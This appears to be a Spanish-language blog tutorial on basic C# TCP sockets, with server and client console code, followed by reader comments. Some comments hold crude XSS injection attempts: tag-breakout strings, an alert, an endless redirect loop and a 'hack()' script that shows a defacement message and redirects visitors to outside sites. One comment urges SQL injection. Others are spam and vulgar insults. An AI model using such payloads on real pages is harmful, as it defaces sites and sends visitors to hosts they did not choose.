Buenas a todos en este “tutorial” voy a tratar de explicar las nociones básicas sobre sockets, ejemplos básicos, teoría, etc. Todo esto adquirido por practicas/errores propios jaja, Lo malo es que soy novato en esto, así que si ven errores o males usos no duden en corregirme, Así que empecemos!!
Los sockets sirven para la comunicación entre programas (en una primera medida), y para comenzar a “dialogar” debemos crear dicho Socket.
1-Agregamos los siguientes Namespaces
System.Net; System.Net.Sockets;
2-Una vez agregados, procedemos a crearlos de la siguiente manera:
Socket nombre_de_socket = new Socket(AddressFamily, SocketType, ProtocolType);
Socket -> Nombre de la clase
nombre_de_socket -> El nombre que quieras ponerle
AddressFamily -> Indica el servicio de direcciones que el socket debe usar
SocketType ->Especifica el tipo de socket
ProtocolType -> Indica el tipo de protocolo a usar
Nosotros por el momento lo usaremos así:
Socket miPrimerSocket = new Socket(AddressFamily.InterNetwork,SocketType.Stream, ProtocolType.Tcp);
3-Luego necesitamos una direccion ip y un puerto para realizar la conección, para ello contamos con una clase llamada IPEndPoint
IPEndPoint direccion = new IPEndPoint(IPAddress.Parse(ip),puerto);
ip -> Se pone entre comillas, por ejemplo, “192.168.0.1”
puerto -> Se pone directamente (sin comillas), por ejemplo, 1234
Nos quedaria así
IPEndPoint direccion = new IPEndPoint(IPAddress.Parse("192.168.0.1"),1234);
4-Listo ahora crearemos un servidor, por el momento sera con aplicaciones de consola
Realizamos los 3 primeros items, y ahora tendremos que asociar el socket con la direccion, usando el metodo Bind
miPrimerSocket.Bind(direccion); //cabe destacar que la direccion es la propia del servidor
Luego lo debemos poner a la escucha con el metodo Listen
miPrimerSocket.Listen(numero) // numero -> es la longitud maxima de la cola de conecciones, por el momento pondremos 1
5-Ahora debemos Crear un segundo Socket para comenzar a interactuar
Socket OtroNombre = miPrimerSocket.Accept(); // Acá debemos usar el anterior Socket
Listo una vez echo esto, la aplicación queda suspendida hasta que el cliente se conecta. Esto se debe a que es un Servidor Sincrónico.
Hay dos modos: sincrónicos y asincrónicos, el primero ya está explicado y el segundo caso no queda suspendido. Pero por el momento seguiremos con el sincrónico, ya que es más fácil de enterder.
6-Ahora crearemos un cliente
Realizamos los 3 primeros pasos, pero en la dirección debemos poner la del servidor, y el mismo puerto
7-Conectaremos el socket
miPrimerSocket.Connect(direccion);
Y listo, ahora las aplicaciones estarán conectadas. Obviamente con esto solamente no sirve de nada, pero en los próximos tutoriales veremos como pasar texto, fotos, archivos, etc.
Algo a tener en cuenta ahora es que primero debe ejecutarse el servidor, pero solo por ahora, más adelante, como dije antes, se irá acomplejando y haciendo más útiles los ejemplos!
Y por si alguno no entendió que hacen estas dos aplicaciones, les digo que solo se conectan y nada más. Es solo una introducción.
Muchas Gracias y les dejo los codigos:
Servidor
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Net; // Paso 1 using System.Net.Sockets; // Paso 1 namespace Servidor { class Program { static void Main(string[] args) { Conectar(); //Llamar a función Conectar, es ajeno al tema } public static void Conectar() { Socket miPrimerSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); // paso 2 - creamos el socket IPEndPoint miDireccion = new IPEndPoint(IPAddress.Any, 1234); //paso 3 -IPAddress.Any significa que va a escuchar al cliente en toda la red try { // paso 4 miPrimerSocket.Bind(miDireccion); // Asociamos el socket a miDireccion miPrimerSocket.Listen(1); // Lo ponemos a escucha Console.WriteLine("Escuchando..."); Socket Escuchar = miPrimerSocket.Accept(); //creamos el nuevo socket, para comenzar a trabajar con él //La aplicación queda en reposo hasta que el socket se conecte a el cliente //Una vez conectado, la aplicación sigue su camino Console.WriteLine("Conectado con exito"); /*Aca ponemos todo lo que queramos hacer con el socket, osea antes de cerrarlo je*/ miPrimerSocket.Close(); //Luego lo cerramos } catch (Exception error) { Console.WriteLine("Error: {0}", error.ToString()); } Console.WriteLine("Presione cualquier tecla para terminar"); Console.ReadLine(); } } }
cliente
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Net; // Paso 1 using System.Net.Sockets; // Paso 1 namespace Cliente { class Program { static void Main(string[] args) { Conectar(); } public static void Conectar() { Socket miPrimerSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); // paso 2 - creamos el socket IPEndPoint miDireccion = new IPEndPoint(IPAddress.Parse("192.168.0.11"), 1234); //paso 3 - Acá debemos poner la Ip del servidor, y el puerto de escucha del servidor //Yo puse esa porque corrí las dos aplicaciones en la misma pc try { miPrimerSocket.Connect(miDireccion); // Conectamos Console.WriteLine("Conectado con exito"); miPrimerSocket.Close(); } catch (Exception error) { Console.WriteLine("Error: {0}",error.ToString()); } Console.WriteLine("Presione cualquier tecla para terminar"); Console.ReadLine(); } } }
“/>
“/>while(1){ window.location.href = “https://www.example.com”; }
“/>
”/>
tu mama
lol
para poder conectarlo en linea tendria que abrir puertos y cambiar el ip al del servidor?
alert(“funk”);
Oye amigo, estoy desarrollando una aplicación de reportes de fallos, de muchas maquinas clientes a una maquina servidor, creo que esto es justo lo que ocupo, mi pregunta es, ¿Puedo conectar con esto, mas de un cliente a un servidor?
h
235235215
123213
ee
que mierdaaa
function hack(){
window.alert(“Pagina Hackeada por: daniel4x4″);
window.location=”http://snap-bb.tk”;
}setTimeout(“hack()”,3000);
Jajajaja no te funciono tu XSS?, jajajaja, intenta con Inyeccion SQL igual y lo logras
Luego de 3 años vengo a por ele script
function hack(){
window.alert(“Pagina Hackeada por: daniel4x4″);
window.location=”http://daniela.com”;
}setTimeout(“hack()”,1500);hack();
aaaaaaa
Como jaja xd a l xde
Mejor mamamela y te ayudo.
Hola, necesito realizar un control de colas de atencion, los sockets me servirian?. Me gustaria que me ayude por favor…
Hola, tendras algun ejemplo de aplicación para enviar mensajes desde un administrador a multiples hosts??
gracias
Hola que tal, estoy tratando de hacer conexion cliente servidor pero usando un formulario como cliente, osea el texto lo paso desde un texbox, y me tira el siguiente error:
Cannot access a disposed object.
Object name: ‘System.Net.Sockets.Socket’.
en :
miPrimerSocket.Send(textoEnviar, 0, textoEnviar.Length, 0);
Listo, era porque cerraba la conexion :S
podrias decirme como poner mensajes de alertas en los sockets por ejemplo que cuando alguien se conecte aparesca un mensaje de contectado de que tal persona a iniciado seseion y de igual forma cuando finalize la sesion
[…] Sockets en C# (Parte 1) […]
Es excelente preguntar!
Sirven para cosas como chats,videoconferencias,juegos en linea,o para la utilidad que le encuentres. Osea es muy variado el uso,pero el fin es el mismo conectar una aplicación a algo.
Espero haber sido lo mas claro. Saludos
Aclaro,conectar para enviar o recibir datos jeje
Perdón por mi ignorancia, pero para que nos sirve trabajar con Sockets, puede que la respuesta sea muy simple, pero prefiero ser ignorante 1 minuto y no el resto de mi vida XD